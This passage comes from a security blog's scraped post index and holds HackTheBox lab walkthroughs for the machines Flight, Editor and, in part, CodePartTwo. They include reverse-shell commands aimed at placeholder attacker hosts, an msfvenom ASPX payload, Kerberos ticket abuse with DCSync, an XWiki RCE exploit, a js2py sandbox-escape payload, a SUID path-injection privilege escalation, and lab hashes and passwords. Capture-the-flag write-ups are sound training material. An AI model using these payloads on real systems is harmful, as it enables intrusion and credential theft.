BUILTIN\\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) So we need to switch to our known user C.Bum. In order to do that normally we would runas.exe but that will prompt for password which needs a GUI. Luckily for us there is a version of the same tool for that purpose that let\u0026rsquo;s you pass commands and the password right away. We get RunasCs and upload it to our victim host either with SMB or HTTP.\nWe run another lister.\n1 └─$ rlwrap nc -lvnp 4445 1 2 3 4 5 6 .\\RunasCs.exe c.bum Tikkycoll_431012284 powershell.exe -r \u0026lt;ATTACKER-IP\u0026gt;:4445 [*] Warning: The logon for user \u0026#39;c.bum\u0026#39; is limited. Use the flag combination --bypass-uac and --logon-type \u0026#39;8\u0026#39; to obtain a more privileged token. [+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\\Desktop: Service-0x0-8901a$\\Default [+] Async process \u0026#39;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#39; with pid 4244 created in background. 1 2 3 4 5 PS C:\\inetpub\u0026gt; whoami whoami flight\\c.bum PS C:\\inetpub\u0026gt; That\u0026rsquo;s how we establish a shell as C.Bum!\nExpose internal service Our current user has these permissions:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only NT AUTHORITY\\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group flight\\WebDevs Group S-1-5-21-4078382237-1492182817-2568127209-1614 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\\Medium Mandatory Level Label S-1-16-8192 The privileges are limited and the groups doesn\u0026rsquo;t give us much. We see the WebDevs domain group which doesn\u0026rsquo;t have any more privileges as we checked bloodhound. But it makes sense that we can edit the internal IIS web files. So let\u0026rsquo;s shift to that direction in exploiting the web app.\nAs we establised curl doesn\u0026rsquo;t work and we need to expose that internal service. Our goal would be to run a web shell or even better a reverse shell as the system that runs that service which hopefully would have elevated permissions. That is possible since our user now can write files into the C:\\inetpub dir.\nWe will do this with Chisel. Info Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. We will need to transfer the file to the victim and have also our version on the attacker host. Unfortunatelly due to server problems we couldn\u0026rsquo;t upload Chisel as it\u0026rsquo;s quite big. So we needed another tunneling alternative. For that we will use plink.\nInfo Plink is a command-line interface (CLI) for the PuTTY SSH client, designed for automated, non-interactive network connections on Windows, such as SSH, Telnet, and Rlogin. It is frequently used for scripting, file transfers, and establishing secure SSH tunnels or reverse connections, often utilized in network administration or, sometimes, for evasion techniques by attackers. For that we need also to enale SSH service in our attacker machine. We also pipe the required prompts for the ssh connection!\n1 PS C:\\xampp\\htdocs\\flight.htb\u0026gt; cmd.exe /c echo y | .\\plink.exe -ssh -l kali -pw \u0026lt;ATTACKER-PASSWORD\u0026gt; -R 127.0.0.1:9833:127.0.0.1:8000 \u0026lt;ATTACKER-IP\u0026gt; We make a reverse SSH connection forwarding victim port 8000 to our attacker machine on port 9833. And we get the website! The website doesn\u0026rsquo;t have much but in anycase we focus straight away in trying to get RCE and a shell. Website is from ASP.Net as it seems so we should use a APSX reverse shell. Let\u0026rsquo;s generate that with msfvenom.\n1 2 3 4 5 6 7 └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4445 -f aspx -o lol.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of aspx file: 3425 bytes Saved as: lol.aspx We start our listener and hit the website http://localhost:9833/lol.aspx.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 └─$ rlwrap nc -lvnp 4445 listening on [any] 4445 ... connect to [10.10.14.18] from (UNKNOWN) [10.129.228.120] 50127 Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved. c:\\windows\\system32\\inetsrv\u0026gt; whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled c:\\windows\\system32\\inetsrv\u0026gt;whoami whoami iis apppool\\defaultapppool We got a shell as a privileged system user and specifically iis apppool\\defaultapppool is a Microsoft Virtual Account.\nInfo Services that run as virtual accounts access network resources by using the credentials of the computer account in the format \u0026lt;domain_name\u0026gt;\u0026lt;computer_name\u0026gt;$. These accounts have the characteristic that when the authenticate via the network they do so as the machine account. Let\u0026rsquo;s see that in Responder.\n1 2 3 c:\\windows\\system32\\inetsrv\u0026gt;dir \\\\10.10.14.18\\ANTEGAMISOUMALAKIA dir \\\\10.10.14.18\\ANTEGAMISOUMALAKIA Access is denied. [SMB] NTLMv2-SSP Client : 10.129.228.120 [SMB] NTLMv2-SSP Username : flight\\G0$ [SMB] NTLMv2-SSP Hash : G0$::flight:70d52655a4628d28:3644FD9474E57C885B1C6B034D5DA7C6:010100000000000000ECA086B38CDC01B3CC8DAE673FD6E80000000002000800360045003300550001001E00570049004E002D0042005200500050004F00320056003700440033004D0004003400570049004E002D0042005200500050004F00320056003700440033004D002E0036004500330055002E004C004F00430041004C000300140036004500330055002E004C004F00430041004C000500140036004500330055002E004C004F00430041004C000700080000ECA086B38CDC0106000400020000000800300030000000000000000000000000300000D56441241F282E553E6F6C81FBA800C6B9C6EA2CDC714655A973EF653BA1FD560A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310038000000000000000000 We cannot crack that hash as normally these passwords are really long and rotate frequently. What we can do is ask for a ticket for the machine account over the network.\nInfo An alternate privilege escalation route would be with the Potato familiy of attacks. The \u0026ldquo;user\u0026rdquo; IIS APPPOOL\\DefaultAppPool is a service/virtual account. This means that is has the SeImpersonatePrivilege enabled. This privilege is associated with a family of exploits known as \u0026ldquo;potatoes\u0026rdquo;. You can read more about them here. TGT G0$ - DCSync We upload Rubeus for that.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 C:\\ProgramData\u0026gt;C:\\xampp\\htdocs\\flight.htb\\Rubeus.exe tgtdeleg /nowrap C:\\xampp\\htdocs\\flight.htb\\Rubeus.exe tgtdeleg /nowrap ______ _ (_____ \\ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \\| ___ | | | |/___) | | \\ \\| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 [*] Action: Request Fake Delegation TGT (current user) [*] No target SPN specified, attempting to build \u0026#39;cifs/dc.domain.com\u0026#39; [*] Initializing Kerberos GSS-API w/ fake delegation for target \u0026#39;cifs/g0.flight.htb\u0026#39; [+] Kerberos GSS-API initialization success! [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: bsm39jxemvcJL4y8nbQtNJL+WPxIpcXY7iGqg2mpPA8= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi): doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECljMnDaadMbbBtYBdWoked+mwwbDqjrARDJ1glEdEX6GAXR+HHwzFHfv7BnQwNrijBE7Fn/nEWHWt/U8cXSKTtoeMTTXQ+XOwH6nt7otiR1yIrlpor58NuBOnSBuXXHbxAhOcBorqelOJwJdl2+u8XWW7u5JkmAo1Le7FfZ6WSx3P8oVAbppvDAexnNUipJ1UxpRLrfKGe4pNGLVQ7/I0xN3v1vRCySGwyEECfoFlVgBQ381yO9HmbJ8zZyWLAGvQxZE63PiPr5900XR1cV+Ubs1IWhUq+3rvUoAP0jIayiBBj7qqNfTbng9RNjuIpoOnOAQgOY7/+dnWVeSGWxo/WjOblY3kvz0NTeu5iDdTRVcWMqAiz6V3ZxIXKWsP0XLksG7zgSsKU+lXYInaqLuZ1v4f/3eo9QEIBZah0lSneoOcJEct8Tkl89axervEKn47IK9JtjLp6ig2utn6YErhB0L58D9/VfEzrE75wiUT+xHsg/RRfAQ4w0txMHQJVebTtRp/38bkO/420qK7vof/qhA1l0BGkJhv/3PF8Ex4EQ6RxJxgwbmsZe+HMdmkMozYiHNYmXou1KHgIrZma4oC3Ex+eke/sGz1pcmm7FIQYoXxCkvWTtPVcZz4llp/WeW05MYpPFIZnkwllpOuyhuuSn0qzLJt02gS5rvSg3FqqcPQGLdisRs4EUF9gPx35hCWQn9BK3QSay2RYTdqIIuB70x0gNDI4NVIBGFSrponI1qSmyuw+2sCq8Wy4tvoyME2ztuMUUJBg8JiIuAADDdhaQGaZb6HKfCQgD7K9v8cT8jRCVWtSU2tBEfugEYUnNtrmQQcZjP440r/HSjRcuX58iuQQ81yulrLzr1IErQRQ2M+BEZ5HbBiGELcvdZkyOkpeVtmDoMjXcX81zVmt9N5ocsQW75czgEe1g1tIrpdFh3Djf2KjfP6rxglTLmW6t8IqCxRW7K2GlyZTju+mrKII2z44bNEIqkyhJnWYlnJErepKQBDOfwPut1KNftSWOB28P9uBAdw1iDuonRn6McQxlxiTQKWmrVXmbhzjcpB1ge5k57L0lk60rc6p1fCqhME93Dj8VZCZGPrqyYzWMH6hOZ/WiM3mp9NlRrRerzAz/VFweVt2PjbR22HAlztd6K2Uq0jCfqtOiLcUAO1WQUn+gJiLVjdt+DX/x/JH1PC/KkN1eFhAcChyzgxrZ1jeqyohE+D0Hmllx8+q9FqEE+9uvQERgnTlM8049fIblDmdOaLgugUvKPUZWLMZ8zhsKTlFsT5GzwX+fbVbYLnyyAZvQ9ujcp9Hy9Brltzjh+G7we8Ngp7y4zBL/fbDuNEAUBDi8grmy/ReYT/owsw8vOVkHTRmvktszOAmSJo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQg+HC5NDjzbpcWIpzVC4p3MHDAmYfVk/zZMqkGQFQgjqKhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDEyNDA0MDk1NFqmERgPMjAyNjAxMjQxNDA5NTRapxEYDzIwMjYwMTMxMDQwOTU0WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC We get the ticket in Base64 kirbi format. We decode it cat ticket.kirbi.b64 | base64 -d \u0026gt; ticket.kirbi and then we need to convert it to ccache format and finally export it for kerberos use with our commands.\nimpacket-ticketConverter ticket.kirbi ticket.ccache export KRB5CCNAME=ticket.ccache Finally we perform a DCSync attack telling the DC to get only the Administrator hash. We use also faketime in order to replicate DC\u0026rsquo;s time. DCSync attack 1 2 3 4 5 6 7 8 9 10 11 └─$ faketime \u0026#34;$(ntpdate -q flight.htb | cut -d \u0026#39; \u0026#39; -f 1,2)\u0026#34; impacket-secretsdump -k -no-pass -just-dc-user Administrator g0.flight.htb Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322 Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465 Administrator:des-cbc-md5:c7754cb5498c2a2f [*] Cleaning up... To get the root flag we connect via evil-winrm with PTH.\n1 └─$ evil-winrm -i flight.htb -u Administrator -H \u0026lt;HASH\u0026gt; ","permalink":"https://p4n4s.com/posts/htb/box/flight/","summary":"Flight is a hard Windows machine that starts with a website with two different virtual hosts. One of them is vulnerable to LFI and allows an attacker to retrieve an NTLM hash. Once cracked, the obtained clear text password will be sprayed across a list of valid usernames to discover a password re-use scenario. Once the attacker has SMB access as the user s.moon he is able to write to a share that gets accessed by other users. Certain files can be used to steal the NTLMv2 hash of the users that access the share. Once the second hash is cracked the attacker will be able to write a reverse shell in a share that hosts the web files and gain a shell on the box as low privileged user. Having credentials for the user c.bum, it will be possible to gain a shell as this user, which will allow the attacker to write an aspx web shell on a web site that\u0026rsquo;s configured to listen only on localhost. Once the attacker has command execution as the Microsoft Virtual Account he is able to run Rubeus to get a ticket for the machine account that can be used to perform a DCSync attack ultimately obtaining the hashes for the Administrator user.","title":"HTB: AD — Flight"},{"content":"Machine Info Editor is an easy Linux box.\nWe add editor.htb in /etc/hosts\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.23 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV 10.129.231.23 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-24 21:26 CET Nmap scan report for editor.htb (10.129.231.23) Host is up (0.054s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Editor - SimplistCode Pro 8080/tcp open http Jetty 10.0.20 | http-title: XWiki - Main - Intro |_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/ |_http-server-header: Jetty(10.0.20) | http-methods: |_ Potentially risky methods: PROPFIND LOCK UNLOCK | http-robots.txt: 50 disallowed entries (15 shown) | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ |_/xwiki/bin/undelete/ | http-cookie-flags: | /: | JSESSIONID: |_ httponly flag not set |_http-open-proxy: Proxy might be redirecting requests | http-webdav-scan: | Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK | Server Type: Jetty(10.0.20) |_ WebDAV type: Unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.80 seconds XWIKI CVE So we started doing some directory enumeration but immediately by browsing the website we see that the interface has a link to wiki.editor.htb. We add the subdomain to our hosts file and continuing we can clearly see that it is the same website between wiki.editor.htb and editor.htb:8080.\nImmediately we observe the that this wiki framework has a version. Looking up online we can find a known RCE CVE-2025-24893. And a public exploit available here. We download it and run it.\n1 2 3 4 5 6 7 └─$ python CVE-2025-24893.py -t http://editor.htb:8080 -c \u0026#39;busybox nc ATTACKER-IP 1234 -e /bin/bash\u0026#39; [*] Attacking http://editor.htb:8080 [*] Injecting the payload: http://editor.htb:8080/xwiki/bin/get/Main/SolrSearch?media=rss\u0026amp;text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22busybox%20nc%20ATTACKER-IP%201234%20-e%20/bin/bash%22.execute%28%29%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D [*] Command executed ~Happy Hacking We have a shell!\n1 2 3 4 5 └─$ rlwrap nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.91] from (UNKNOWN) [10.129.231.23] 43118 python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;);\u0026#39; xwiki@editor:/usr/lib/xwiki-jetty$ Tip Upgrade your shell with python python3 -c 'import pty;pty.spawn(\u0026quot;/bin/bash\u0026quot;);'! Secret Re-use Started looking at the files on the server and and it\u0026rsquo;s a chaos. We are looking for secrets and passwords we can reuse. We see the user oliver.\nLooking at the listening ports we see few interesting ones.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ss -tlnp State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.1:36919 0.0.0.0:* LISTEN 0 70 127.0.0.1:33060 0.0.0.0:* LISTEN 0 4096 127.0.0.1:19999 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 0.0.0.0:80 0.0.0.0:* LISTEN 0 4096 127.0.0.1:8125 0.0.0.0:* LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 151 127.0.0.1:3306 0.0.0.0:* LISTEN 0 50 *:8080 *:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 511 [::]:80 [::]:* LISTEN 0 50 [::ffff:127.0.0.1]:8079 *:* There is a mysql service running and we see also two other interesting ports, 19999 and 8125. Looking it up online it seems that 19999 is for a monitoring service named Netdata.\nWe run few interesting search commands to find a password based on MySQL first.\n1 2 3 4 xwiki@editor:/usr/lib/xwiki-jetty$ grep -R \u0026#34;jdbc:mysql\u0026#34; ./ grep -R \u0026#34;jdbc:mysql\u0026#34; ./ ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.url\u0026#34;\u0026gt;jdbc:mysql://localhost/xwiki?useSSL=false\u0026amp;amp;connectionTimeZone=LOCAL\u0026amp;amp;allowPublicKeyRetrieval=true\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.url\u0026#34;\u0026gt;jdbc:mysql://localhost/xwiki?useSSL=false\u0026lt;/property\u0026gt; Looking at the file hibernate.cfg.xml we spot that it configures credentials for different types of databases. For mysql it default creds that don\u0026rsquo;t work after checking.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 \u0026lt;!-- MySQL configuration. Uncomment if you want to use MySQL and comment out other database configurations. Notes: - if you want the main wiki database to be different than \u0026#34;xwiki\u0026#34; you will also have to set the property xwiki.db in xwiki.cfg file - if you\u0026#39;re using a MySQL 8+ JDBC driver, you don\u0026#39;t need the \u0026#34;hibernate.connection.driver_class\u0026#34; which will generate a warning since it\u0026#39;s not needed as the driver is registered automatically \u0026lt;property name=\u0026#34;hibernate.connection.url\u0026#34;\u0026gt;jdbc:mysql://localhost/xwiki?useSSL=false\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.username\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.driver_class\u0026#34;\u0026gt;com.mysql.cj.jdbc.Driver\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.dbcp.poolPreparedStatements\u0026#34;\u0026gt;true\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.dbcp.maxOpenPreparedStatements\u0026#34;\u0026gt;20\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.charSet\u0026#34;\u0026gt;UTF-8\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.useUnicode\u0026#34;\u0026gt;true\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.characterEncoding\u0026#34;\u0026gt;utf8\u0026lt;/property\u0026gt; \u0026lt;mapping resource=\u0026#34;xwiki.hbm.xml\u0026#34;/\u0026gt; \u0026lt;mapping resource=\u0026#34;feeds.hbm.xml\u0026#34;/\u0026gt; \u0026lt;mapping resource=\u0026#34;instance.hbm.xml\u0026#34;/\u0026gt; \u0026lt;mapping resource=\u0026#34;notification-filter-preferences.hbm.xml\u0026#34;/\u0026gt; \u0026lt;mapping resource=\u0026#34;mailsender.hbm.xml\u0026#34;/\u0026gt; We spot though that there may be other files that actually have the creds set for the production environment and we see that the field specifying the password was hibernate.connection.password. So we search based on that.\nUser pass 1 2 3 4 5 6 7 8 9 xwiki@editor:/usr/lib/xwiki-jetty$ grep -R \u0026#34;hibernate.connection.password\u0026#34; ./ grep -R \u0026#34;hibernate.connection.password\u0026#34; ./ ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;theEd1t0rTeam99\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; ./webapps/xwiki/WEB-INF/hibernate.cfg.xml: \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;\u0026lt;/property\u0026gt; We get the password which was actually on the same file few lines above\u0026hellip; This is the user password.\nRoot Netdata We have seen before an interesting service running but first we are going to run linpeas and see all possible attack vectors.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ... User \u0026amp; Groups: uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata) Hostname: editor ... ╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid -rwsr-x--- 1 root netdata 943K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network (Unknown SUID binary!) -rwsr-x--- 1 root netdata 1.4M Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin (Unknown SUID binary!) -rwsr-x--- 1 root netdata 1.1M Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners (Unknown SUID binary!) -rwsr-x--- 1 root netdata 196K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (Unknown SUID binary!) -rwsr-x--- 1 root netdata 80K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ioping (Unknown SUID binary!) -rwsr-x--- 1 root netdata 876K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin (Unknown SUID binary!) -rwsr-x--- 1 root netdata 4.1M Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin (Unknown SUID binary! This is interesting. It seems we have more than the usual SUID binaries and all tied to netdata app. Let\u0026rsquo;s forward the port and check it ourselves.\n1 └─$ ssh oliver@editor.htb -L 127.0.0.1:19999:127.0.0.1:19999 We see the problem right away. Looking up online we find CVE-2024-32019.\nPath Injection - CVE-2024-32019 In order to exploit this we need to put a module of the ndsudo command in our PATH and make it malicious so it gives us a root shell or whatever we want to achieve.\n1 2 mkdir /home/oliver/topath export PATH=\u0026#34;/home/oliver/topath:$PATH\u0026#34; Now if we place bash as nvme on that folder it will run with SUID privileges.\n1 2 3 oliver@editor:~/topath$ cp /bin/bash ./nvme oliver@editor:~/topath$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list /home/oliver/topath/nvme: list: No such file or directory The problem here is that the command appends a list argument and bash get\u0026rsquo;s confused. We tried other quick wins but failed.\n1 2 3 oliver@editor:~/topath$ echo \u0026#34;/bin/bash\u0026#34; \u0026gt; nvme oliver@editor:~/topath$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list execve: Exec format error So we had to compile a C binary that runs bash correctly for to get the flag or get rev shell. On our attacker machine we make the executable.\n1 2 3 4 5 6 7 8 9 10 11 └─$ cat exp.c #include\u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void main() { setuid(0); setgid(0); system(\u0026#34;cat /root/root.txt\u0026#34;); } └─$ gcc exp.c -o exp Uploading that as nvme on the ./topath folder and running the command gives us the root flag!\n","permalink":"https://p4n4s.com/posts/htb/box/editor/","summary":"Editor is an easy Linux box.","title":"HTB: Linux — Editor"},{"content":"Machine Info CodePartTwo\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 └─$ sudo nmap -sC -sV 10.129.5.170 -T4 [sudo] password for panas: Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-22 18:58 CET Nmap scan report for 10.129.5.170 Host is up (0.097s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA) | 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA) |_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519) 8000/tcp open http Gunicorn 20.0.4 |_http-title: Welcome to CodePartTwo |_http-server-header: gunicorn/20.0.4 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel And let\u0026rsquo;s put the name on our hosts file.\n1 \u0026lt;IP\u0026gt; codeparttwo.local Looking at the website we see we can run code when we register and also download source code of the app. 1 2 3 4 5 6 7 8 @app.route(\u0026#39;/run_code\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) def run_code(): try: code = request.json.get(\u0026#39;code\u0026#39;) result = js2py.eval_js(code) return jsonify({\u0026#39;result\u0026#39;: result}) except Exception as e: return jsonify({\u0026#39;error\u0026#39;: str(e)}) The code is interesting as it runs JS code and converts it to python to run it. Checking the requirements.txt we see the version of the library and we see the CVE-2024-28397.\nWith a bit of tweaking of the inital command we can get a RCE and get a reverse shell.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 let cmd = \u0026#34;bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;YOURIP\u0026gt;/4444 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve(\u0026#34;__getattribute__\u0026#34;) obj = n11(\u0026#34;__class__\u0026#34;).__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == \u0026#34;subprocess\u0026#34; \u0026amp;\u0026amp; item.__name__ == \u0026#34;Popen\u0026#34;) { return item } if(item.__name__ != \u0026#34;type\u0026#34; \u0026amp;\u0026amp; (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) n11 1 nc -lvnp 4444 So now we have a shell as the user app. We still need to upgrade our user in order to get the flag. If we remember from the code we downloaded we saw a sqlite database! We can read that now. Or we could transfer to our attacker machine and do that there. Although not sure if it was really needed.\n1 2 cat users.db | base64 echo \u0026lt;BASE64 WE COPIED FROM ABOVE\u0026gt; base64 -d \u0026gt; users.db Then we read the db.\n1 2 3 4 5 6 └─$ sqlite3 users.db SQLite version 3.46.1 